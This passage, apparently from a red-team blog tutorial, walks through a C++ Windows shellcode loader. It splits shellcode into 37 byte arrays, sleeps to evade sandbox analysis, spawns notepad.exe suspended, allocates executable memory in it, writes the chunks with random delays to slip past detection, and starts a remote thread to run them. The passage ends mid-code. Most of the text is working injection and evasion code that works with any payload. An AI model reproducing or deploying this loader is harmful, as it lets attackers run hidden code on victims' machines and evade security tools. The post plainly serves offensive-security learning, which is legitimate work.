<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode13</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode14</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x50</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode15</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode16</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode17</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode18</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode19</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode20</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode21</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode22</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode23</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode24</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x88</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode25</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode26</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode27</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode28</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode29</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode30</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x77</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode31</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x26</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode33</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x73</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode34</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x73</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x78</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode35</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode36</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode37</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span> <span class="p">};</span>

<span class="c1">// Array of shellcode chunks</span>
<span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcodeChunks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">shellcode1</span><span class="p">,</span> <span class="n">shellcode2</span><span class="p">,</span> <span class="n">shellcode3</span><span class="p">,</span> <span class="n">shellcode4</span><span class="p">,</span> <span class="n">shellcode5</span><span class="p">,</span> <span class="n">shellcode6</span><span class="p">,</span> <span class="n">shellcode7</span><span class="p">,</span>
    <span class="n">shellcode8</span><span class="p">,</span> <span class="n">shellcode9</span><span class="p">,</span> <span class="n">shellcode10</span><span class="p">,</span> <span class="n">shellcode11</span><span class="p">,</span> <span class="n">shellcode12</span><span class="p">,</span> <span class="n">shellcode13</span><span class="p">,</span> <span class="n">shellcode14</span><span class="p">,</span>
    <span class="n">shellcode15</span><span class="p">,</span> <span class="n">shellcode16</span><span class="p">,</span> <span class="n">shellcode17</span><span class="p">,</span> <span class="n">shellcode18</span><span class="p">,</span> <span class="n">shellcode19</span><span class="p">,</span> <span class="n">shellcode20</span><span class="p">,</span> <span class="n">shellcode21</span><span class="p">,</span>
    <span class="n">shellcode22</span><span class="p">,</span> <span class="n">shellcode23</span><span class="p">,</span> <span class="n">shellcode24</span><span class="p">,</span> <span class="n">shellcode25</span><span class="p">,</span> <span class="n">shellcode26</span><span class="p">,</span> <span class="n">shellcode27</span><span class="p">,</span> <span class="n">shellcode28</span><span class="p">,</span>
    <span class="n">shellcode29</span><span class="p">,</span> <span class="n">shellcode30</span><span class="p">,</span> <span class="n">shellcode31</span><span class="p">,</span> <span class="n">shellcode32</span><span class="p">,</span> <span class="n">shellcode33</span><span class="p">,</span> <span class="n">shellcode34</span><span class="p">,</span> <span class="n">shellcode35</span><span class="p">,</span>
    <span class="n">shellcode36</span><span class="p">,</span> <span class="n">shellcode37</span>
<span class="p">};</span>

<span class="c1">// Corresponding sizes</span>
<span class="n">SIZE_T</span> <span class="n">shellcodeSizes</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode1</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode2</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode3</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode4</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode5</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode6</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode7</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode8</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode9</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode10</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode11</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode12</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode13</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode14</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode15</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode16</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode17</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode18</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode19</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode20</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode21</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode22</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode23</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode24</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode25</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode26</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode27</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode28</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode29</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode30</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode31</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode32</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode33</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode34</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode35</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode36</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode37</span><span class="p">)</span>
<span class="p">};</span>

<span class="c1">//End of python generated code</span>
<span class="c1">//=====================================================================================================</span>

 <span class="c1">// Seed random</span>
 <span class="n">srand</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>

 <span class="c1">// Initial delay to mimic dormant behavior</span>
 <span class="n">std</span><span class="o">::</span><span class="n">this_thread</span><span class="o">::</span><span class="n">sleep_for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">chrono</span><span class="o">::</span><span class="n">milliseconds</span><span class="p">(</span><span class="mi">10000</span><span class="p">));</span>

 <span class="c1">// Auto-calculate number of chunks</span>
 <span class="k">constexpr</span> <span class="kt">size_t</span> <span class="n">numChunks</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcodeChunks</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcodeChunks</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</code></pre></div></div>

<p>Let’s pause here for a sec so I can explain what’s happening.  I’m initializing a random seed value to be used throughout the remainder of our code.  We will not use it just yet, but in due time we will I assure you.  Next up, I calculate the amount of shellcode chunks we generated earlier via our python script.  The final count in my case is <code class="language-plaintext highlighter-rouge">33</code>, and that value will get stored in the shellcodesize variable.  Lastly, we sleep for 10 seconds to try and deter any unwanted initial virtualized analysis of our code.</p>

<p>Continuing on!  In the next section of our code, we simply print the shellcode total bytes, and then spawn Notepad in a suspended state to inject into later.  Pretty straightforward 👍</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Calculate total size</span>
<span class="n">SIZE_T</span> <span class="n">totalSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">totalSize</span> <span class="o">+=</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Total shellcode size: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">totalSize</span><span class="p">);</span>

<span class="c1">// Create suspended notepad.exe</span>
<span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">CREATE_SUSPENDED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[-] CreateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Notepad spawned (PID: %lu)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>
</code></pre></div></div>

<p>Now, let’s reassemble our shellcode and allocate + write our shellcode chunks into their own unique memory region 😸 I set a minimum delay of <code class="language-plaintext highlighter-rouge">50</code> milliseconds and maximum delay of <code class="language-plaintext highlighter-rouge">850</code> milliseconds, respectively.</p>

<h2 id="reassembling-the-shellcode-chunks">Reassembling the Shellcode Chunks</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Allocate final executable memory region</span>
<span class="n">LPVOID</span> <span class="n">remoteBase</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">totalSize</span><span class="p">,</span>
    <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteBase</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[-] VirtualAllocEx failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Allocated RWX memory at: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">);</span>

<span class="c1">// Staged write: write each chunk directly into final region with random delays</span>
<span class="n">SIZE_T</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">delayMs</span> <span class="o">=</span> <span class="mi">50</span> <span class="o">+</span> <span class="p">(</span><span class="n">rand</span><span class="p">()</span> <span class="o">%</span> <span class="mi">801</span><span class="p">);</span>  <span class="c1">// 50-850ms</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Waiting %d ms before writing chunk %zu...</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">delayMs</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">std</span><span class="o">::</span><span class="n">this_thread</span><span class="o">::</span><span class="n">sleep_for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">chrono</span><span class="o">::</span><span class="n">milliseconds</span><span class="p">(</span><span class="n">delayMs</span><span class="p">));</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">remoteBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span>
        <span class="n">shellcodeChunks</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[-] WriteProcessMemory failed at chunk %zu: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] Wrote chunk % zu(% zu bytes) -&gt; % p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">remoteBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">);</span>
    <span class="n">offset</span> <span class="o">+=</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>

<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Shellcode fully reassembled at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">);</span>
</code></pre></div></div>

<p>Now for the fun part!  It’s time we create a remote thread to point to our new memory region that holds our now reassembled shellcode and unsuspend the notepad process to bring everything full circle 😺</p>

<h2 id="unsuspend-notepad-and-execute-our-shellcode">Unsuspend Notepad and Execute our Shellcode!</h2>

<p>This part is fairly self explanatory.  We just create a remote thread that points to our now reassembled shellcode memory location, unsuspend notepad, and execute!</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="c1">// Execute</span>
    <span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span>
        <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">remoteBase</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[-] CreateRemoteThread failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remoteBase</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
        <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
